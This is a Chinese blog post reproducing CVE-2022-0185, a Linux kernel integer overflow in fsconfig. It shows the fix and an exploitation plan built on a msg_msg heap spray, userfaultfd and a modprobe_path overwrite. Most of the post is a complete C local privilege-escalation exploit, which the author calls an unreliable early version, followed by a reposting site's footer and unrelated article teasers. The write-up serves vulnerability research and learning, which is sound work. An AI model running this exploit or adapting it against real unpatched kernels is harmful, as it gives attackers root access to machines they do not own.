【CVE 復現】CVE-2022-0185 fsconfig之整數溢出

影響版本:Linux-v5.1~v5.16.2

測試版本:Linux-5.11.22,由于懶得搞環境,所以直接用的 bsauce 大佬提供的 測試環境

看看?patch:


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)param->key);}-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||(param->type == fs_value_is_string &&

這里 len/size 都是無符號數,所以當 2+size > PAGE_SIZE 時,則 PAGE_SIZE - 2 - size 是一個很大的數從而繞過檢查,這里會導致堆溢出。

溢出 kmem_cache:kmalloc-4k

利用思路:

1)堆噴 msg_msg,觸發第一次漏洞溢出修改 m_ts 從而泄漏內核基地址

2)堆噴 msg_msg,觸發第二次漏洞溢出配合 userfaultfd修改 m_next 實現任意地址寫 modprobe_path

注:bsauce 佬提供的測試環境內核版本為 v5.11.22,普通用戶是無法直接使用 userfaultfd 的,我看 bsauce 佬直接寫了個 fuse 驅動模塊,然后利用的 fuse 去增大競爭窗口。但是這里為了方便,我直接在設置了普通用戶可以使用 userfaultfd,這里只是為了簡化利用。

echo 1 > /proc/sys/vm/unprivileged_userfaultfd

第一版垃圾 exp 如下:這里調整一下堆噴策略效果應該會好很多

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];int fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改為了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二進制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 執行非法格式的二進制文件 ==> 執行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");size_t buf = modprobe_path - 8;char* x = &buf;char str[] = "/tmp/x";printf("hijack_idx ==> %d\n", hijack_idx);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);memset(copy_src, 0, sizeof(copy_src));strncpy(copy_src, str, strlen(str));strncpy(copy_src+8, str, strlen(str));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}size_t do_leak()
{char X_X = 1;int fs_fd;char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;if (!X_X) goto X_X_Label;for (int i = 0; i < SPARY_MSG_NUMS / 2; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);goto GO;X_X_Label:fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);GO:kernel_offset = -1;size_t vim_mtype;for (int i = 0; i < SPARY_MSG_NUMS; i++){memset(buf, 0, sizeof(buf));if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8){for (int k = 0; k < 0x1000 / 8; k++){size_t addr = *(uint64_t*)(buf+0x1000+k*8);vim_mtype = ((struct msg_buf*)buf)->m_type;if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770){hexx("vim_mtype", vim_mtype);kernel_offset = addr - 0xffffffff81f36770;hexx("kernel_offset", kernel_offset);break;}}if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);//binary_dump("OOB READ DATA", buf, 0x2000);break;}}return kernel_offset;
}void hijack_modprobePath()
{char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS*2];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");fs_fds[i] = fsopen("ext4", 0);if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int j = 0; j < 273; j++){fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");//              if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
//              *(uint64_t*)(msg_buf->m_text+8) = i;
//              if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");}for (int i = 0; i < SPARY_MSG_NUMS; i++){msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);}char* uffd_buf;pthread_t thr[SPARY_MSG_NUMS];for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++){msg_buf = (struct msg_buf*)buf;msg_buf->m_type = 1;if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");uffd_buf = NULL;uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);msg_buf = (struct msg_buf*)(uffd_buf+0x30);if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");msg_buf->m_type = 1;if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");munmap(uffd_buf, 0x2000);}}int main(int argc, char** argv, char** envp)
{bind_core(0);pid_t pid;int pipe_fd[2];pipe(pipe_fd);pid = fork();if (!pid){unshare(CLONE_NEWNS|CLONE_NEWUSER);size_t kernel_offset;kernel_offset = do_leak();if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");modprobe_path = 0xffffffff8346c160 + kernel_offset;hexx("modprobe_path", modprobe_path);hijack_modprobePath();write(pipe_fd[1], "X", 1);exit(0);} else if (pid < 0) {err_exit("FAILED to fork a new process");} else {char buf[1];read(pipe_fd[0], buf, 1);get_flag();}return 0;
}

效果如下:這里堆噴策略比較垃圾,成功率極低,后面再改改吧。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/207473.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/207473.shtml
英文地址,請注明出處:http://en.pswp.cn/news/207473.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ResNeXt(2017)

文章目錄 Abstract1. Introductionformer workour work 2. Related Work多分支卷積網絡分組卷積壓縮卷積網絡Ensembling 3. Method3.1. Template3.2. Revisiting Simple Neurons3.3. Aggregated Transformations3.4. Model Capacity 4. Experiment 原文地址 源代碼 Abstract 我…

【python】vscode中選擇虛擬環境venv

vscode 怎么指定 python venv&#xff1f; 在VSCode中選擇Python解釋器&#xff1a; 打開命令面板&#xff1a;按下 CtrlShiftP&#xff08;Windows/Linux&#xff09;或 CmdShiftP&#xff08;Mac&#xff09;。在命令面板中&#xff0c;鍵入 “Python: Select Interpreter”…

14.Java程序設計-基于Springboot的高校社團管理系統設計與實現

摘要 隨著高校社團活動的不斷豐富和社團數量的逐漸增加&#xff0c;高校社團管理面臨著日益復雜的挑戰。為了提高社團管理的效率和透明度&#xff0c;本研究基于Spring Boot框架設計并實現了一套高校社團管理系統。該系統旨在整合社團創建、成員管理、活動發布等多個功能&…

水位線和窗口

水位線特點 插入到數據流中的一個標記&#xff0c;可以認為是一個特殊的數據主要內容是一個時間戳水位線是基于數據的時間戳生成的&#xff0c;即事件時間水位線必須單調遞增水位線可以通過設置延遲&#xff0c;來保證正確處理亂序數據一個水位線&#xff0c;表示事件時間已經…

[FPGA 學習記錄] 數碼管動態顯示

數碼管動態顯示 文章目錄 1 理論學習1.1 數碼管動態掃描顯示原理 2 實戰演練2.1 實驗目標2.2 程序設計2.2.1 框圖繪制2.2.2 數據生成模塊 data_gen2.2.2.1 波形繪制2.2.2.2 代碼編寫2.2.2.3 代碼編譯2.2.2.4 邏輯仿真2.2.2.4.1 仿真代碼編寫2.2.2.4.2 仿真代碼編譯2.2.2.4.3 波…

如何解決el-table中動態添加固定列時出現的行錯位

問題描述 在使用el-table組件時&#xff0c;我們有時需要根據用戶的操作動態地添加或刪除一些固定列&#xff0c;例如操作列或選擇列。但是&#xff0c;當我們使用v-if指令來控制固定列的顯示或隱藏時&#xff0c;可能會出現表格的行錯位的問題&#xff0c;即固定列和非固定列…

el-tree數據量過大,造成瀏覽器卡死、崩潰

el-tree數據量過大&#xff0c;造成瀏覽器卡死、崩潰 場景&#xff1a;樹形結構展示&#xff0c;數據超級多&#xff0c;超過萬條&#xff0c;每次打開都會崩潰 我這里采用的是引入新的插件虛擬樹&#xff0c;它是參照element-plus 中TreeV2改造vue2.x版本虛擬化樹形控件&…

2024年強烈推薦mac 讀寫NTFS工具Tuxera NTFS for Mac2023中文破解版

大家好啊&#xff5e;今天要給大家推薦的是 Tuxera NTFS for Mac2023中文破解版&#xff01; 小可愛們肯定知道&#xff0c;Mac系統一直以來都有一個小小的痛點&#xff0c;就是無法直接讀寫NTFS格式的移動硬盤和U盤。但是&#xff0c;有了Tuxera NTFS for Mac2023&#xff0c;…

正則表達式:字符串處理的瑞士軍刀

&#x1f90d; 前端開發工程師&#xff08;主業&#xff09;、技術博主&#xff08;副業&#xff09;、已過CET6 &#x1f368; 阿珊和她的貓_CSDN個人主頁 &#x1f560; 牛客高級專題作者、在牛客打造高質量專欄《前端面試必備》 &#x1f35a; 藍橋云課簽約作者、已在藍橋云…

記一次xss通殺挖掘歷程

前言 前端時間&#xff0c;要開放一個端口&#xff0c;讓我進行一次安全檢測&#xff0c;發現的一個漏洞。 經過 訪問之后發現是類似一個目錄索引的端口。(這里上厚碼了哈) 錯誤案例測試 亂輸內容asdasffda之后看了一眼Burp的抓包&#xff0c;抓到的內容是可以發現這是一個…

MuJoCo機器人動力學仿真平臺安裝與教程

MuJoCo是一個機器人動力學仿真平臺&#xff0c;它包括一系列的物理引擎、可視化工具和機器人模擬器等工具&#xff0c;用于研究和模擬機器人的運動和動力學特性。以下是MuJoCo的安裝教程&#xff1a; 下載和安裝MuJoCo Pro。可以從MuJoCo的官方網站上下載最新版本的安裝包。根…

【Python機器學習系列】一文徹底搞懂機器學習中表格數據的輸入形式(理論+源碼)

一、問題 機器學習或者深度學習在處理表格數據&#xff08;Tabular data&#xff09;、圖像數據&#xff08;Image data&#xff09;、文本數據&#xff08;Text data&#xff09;、時間序列數據&#xff08;Time series data&#xff09;上得到了廣泛的應用。 其中&#xff0c…

微信小程序 - 創建 ZIP 壓縮包

微信小程序 - 創建 ZIP 壓縮包 場景分享代碼片段導入 JSZip創建ZIP文件追加寫入文件測試方法參考資料 場景 微信小程序只提供了解壓ZIP的API&#xff0c;并沒有提供創建ZIP的方法。 當我們想把自己處理好的保存&#xff0c;打包ZIP保存下來時就需要自己實現了。 分享代碼片段…

無重復字符的最長子串(LeetCode 3)

文章目錄 1.問題描述2.難度等級3.熱門指數4.解題思路方法一&#xff1a;暴力法方法二&#xff1a;滑動窗口 參考文獻 1.問題描述 給定一個字符串 s &#xff0c;請你找出其中不含有重復字符的最長子串的長度。 s 由英文字母、數字、符號和空格組成。 示例 1&#xff1a; 輸…

基于Java商品銷售管理系統

基于Java商品銷售管理系統 功能需求 1、商品管理&#xff1a;系統需要提供商品信息的管理功能&#xff0c;包括商品的錄入、編輯、查詢和刪除。每個商品應包含基本信息如名稱、編碼、類別、價格、庫存量等。 2、客戶管理&#xff1a;系統需要能夠記錄客戶的基本信息&#xf…

算法:常見的哈希表算法

文章目錄 兩數之和判斷是否互為字符重排存在重復元素存在重復元素字母異位詞分組 本文總結的是關于哈希表常見的算法 哈希表其實就是一個存儲數據的容器&#xff0c;所以其實它本身的算法難度并不高&#xff0c;只是利用哈希表可以對于一些場景進行優化 兩數之和 class Solut…

Michael.W基于Foundry精讀Openzeppelin第41期——ERC20Capped.sol

Michael.W基于Foundry精讀Openzeppelin第41期——ERC20Capped.sol 0. 版本0.1 ERC20Capped.sol 1. 目標合約2. 代碼精讀2.1 constructor() && cap()2.2 _mint(address account, uint256 amount) 0. 版本 [openzeppelin]&#xff1a;v4.8.3&#xff0c;[forge-std]&…

AI智能降重軟件大全,免費最新AI智能降重軟件

在當今信息爆炸的時代&#xff0c;內容創作者們面臨著巨大的寫作壓力&#xff0c;如何在保持高質量的前提下提高效率成為擺在許多人面前的難題。AI智能降重軟件因其獨特的算法和功能逐漸成為提升文案質量的得力助手。本文將專心分享一些優秀的AI智能降重軟件。 147SEO改寫軟件 …

云貝教育 |【技術文章】PostgreSQL中誤刪除數據怎么辦(一)

原文鏈接&#xff1a;【PostgreSQL】PostgreSQL中誤刪除數據怎么辦&#xff08;一&#xff09; - 課程體系 - 云貝教育 (yunbee.net) 在我們學習完PG的MVCC機制之后&#xff0c;對于DML操作&#xff0c;被操作的行其實并未被刪除&#xff0c;只能手工vacuum或自動vacuum觸發才會…

【分享】我想上手機器學習

目錄 前言 一、理解機器學習 1.1 機器學習的目的 1.2 機器學習的模型 1.3 機器學習的數據 二、學習機器學習要學什么 2.1 學習機器學習的核心內容 2.2 怎么選擇模型 2.3 怎么獲取訓練數據 2.4 怎么訓練模型 三、機器學習的門檻 3.1 機器學習的第一道門檻 3.2 機器…